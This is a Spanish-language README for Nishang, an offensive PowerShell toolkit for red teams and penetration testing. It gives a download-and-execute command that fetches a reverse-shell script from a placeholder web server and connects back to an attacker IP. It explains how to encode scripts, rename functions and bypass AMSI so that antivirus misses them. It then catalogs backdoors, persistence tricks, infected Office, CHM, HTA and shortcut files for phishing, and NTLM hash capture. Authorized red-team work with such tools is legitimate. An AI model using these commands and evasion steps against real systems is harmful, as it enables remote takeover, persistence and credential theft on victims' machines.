
Nishang - PowerShell ofensivo para equipo rojo, pruebas de penetración y seguridad ofensiva.
Por Nikhil Mittal Fundador de Altered Security - ¡Formación práctica en red team y seguridad empresarial!
Importa todos los scripts en la sesión actual de PowerShell (PowerShell v3 en adelante).
PS C:\nishang> Import-Module .\nishang.psm1
Usa los scripts individuales con dot sourcing.
PS C:\nishang> . C:\nishang\Gather\Get-Information.ps1
PS C:\nishang> Get-Information
Para obtener ayuda sobre cualquier script o función, usa:
PS C:\nishang> Get-Help [scriptname] -full
Nota: desde la versión 0.3.8, la ayuda está disponible para la función cargada después de ejecutar el script, no para el script en sí. En todos los casos, el nombre de la función es el mismo que el del script.
Por ejemplo, para ver la ayuda sobre Get-WLAN-Keys.ps1, usa
PS C:\nishang> . C:\nishang\Get-WLAN-Keys.ps1
PS C:\nishang> Get-Help Get-WLAN-Keys -Full
Los scripts de Nishang son marcados como maliciosos por muchos antivirus. Los scripts en un objetivo deben ejecutarse en memoria, algo muy fácil de hacer con PowerShell. Dos métodos básicos para ejecutar scripts de PowerShell en memoria:
Método 1. Usa la descarga y ejecución en memoria: Usa el siguiente comando para ejecutar un script de PowerShell desde un shell remoto, un shell nativo de meterpreter, una web shell, etc., y la función que exporta. Todos los scripts de Nishang exportan una función con el mismo nombre en la sesión actual de PowerShell.
powershell iex (New-Object Net.WebClient).DownloadString('http://<yourwebserver>/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress [IP] -Port [PortNo.]
Método 2. Usa el parámetro -encodedcommand (o -e) de PowerShell
Todos los scripts de Nishang exportan una función con el mismo nombre en la sesión actual de PowerShell. Por lo tanto, asegúrate de que la llamada a la función se realiza en el propio script al usar el parámetro encodedcommand desde un shell que no sea PowerShell. Para el ejemplo anterior, añade una llamada a la función (sin comillas) "Invoke-PowerShellTcp -Reverse -IPAddress [IP] -Port [PortNo.]".
Codifica el script usando Invoke-Encode de Nishang:
PS C:\nishang> . \nishang\Utility\Invoke-Encode
PS C:\nishang> Invoke-Encode -DataToEncode C:\nishang\Shells\Invoke-PowerShellTcp.ps1 -OutCommand
Datos codificados escritos en .\encoded.txt Comando codificado escrito en .\encodedcommand.txt
A partir de lo anterior, usa el script codificado de encodedcommand.txt y ejecútalo en un objetivo donde se puedan ejecutar comandos (un shell remoto, un shell nativo de meterpreter, una web shell, etc.). Úsalo de la siguiente manera:
C:\Users\target> powershell -e [encodedscript]
Si los scripts aún son detectados, cambiar los nombres de funciones y parámetros y eliminar el contenido de ayuda puede ayudar.
En caso de que AMSI de Windows 10 aún bloquee la ejecución del script, consulta este blog: http://www.labofapenetrationtester.com/2016/09/amsi.html
Nishang actualmente contiene los siguientes scripts y payloads.
Modifica objetos de AD para proporcionar los permisos mínimos requeridos para DCShadow.
Ejecuta scripts de PowerShell en memoria, ejecuta comandos, y descarga y sube archivos usando esta web shell.
Una puerta trasera que puede recibir instrucciones de sitios web de terceros y ejecutar scripts de PowerShell en memoria.
Una puerta trasera que puede recibir comandos y scripts de PowerShell desde consultas DNS TXT, ejecutarlos en un objetivo, y ser controlada remotamente mediante consultas.
Una puerta trasera que puede ejecutar scripts de PowerShell en un momento específico en un objetivo.
Una puerta trasera que puede recibir comandos y scripts desde un SSID de WLAN sin conectarse a él.
Una puerta trasera que puede usar el protector de pantalla de Windows para ejecución remota de comandos y scripts.
Una puerta trasera que puede usar flujos de datos alternativos y el Registro de Windows para lograr persistencia.
Una puerta trasera que usa el conocido truco del depurador para ejecutar payloads con Sticky keys y Utilman (Tecla Windows + U).
Modifica permisos de DCOM y espacios de nombres WMI para permitir acceso a un usuario no administrador.
Modifica permisos de la comunicación remota de PowerShell para permitir acceso a un usuario no administrador.
Implementación de métodos conocidos públicamente para evitar/eludir AMSI.
Crea archivos CHM infectados que pueden ejecutar comandos y scripts de PowerShell.
Crea archivos de Word e infecta los existentes para ejecutar comandos y scripts de PowerShell.
Crea archivos de Excel e infecta los existentes para ejecutar comandos y scripts de PowerShell.
Crea un archivo HTA que puede desplegarse en un servidor web y usarse en campañas de phishing.
Crea archivos JAR firmados que pueden usarse con applets para la ejecución de scripts y comandos.
Crea archivos de acceso directo capaces de ejecutar comandos y scripts de PowerShell.
Crea archivos IQY para phishing de credenciales y hashes SMB.
Crea archivos JS capaces de ejecutar comandos y scripts de PowerShell.
Crea archivos SCT capaces de ejecutar comandos y scripts de PowerShell.
Crea un archivo SCF que puede usarse para capturar desafíos de hash NTLM.
Cuando se requieren privilegios SYSTEM.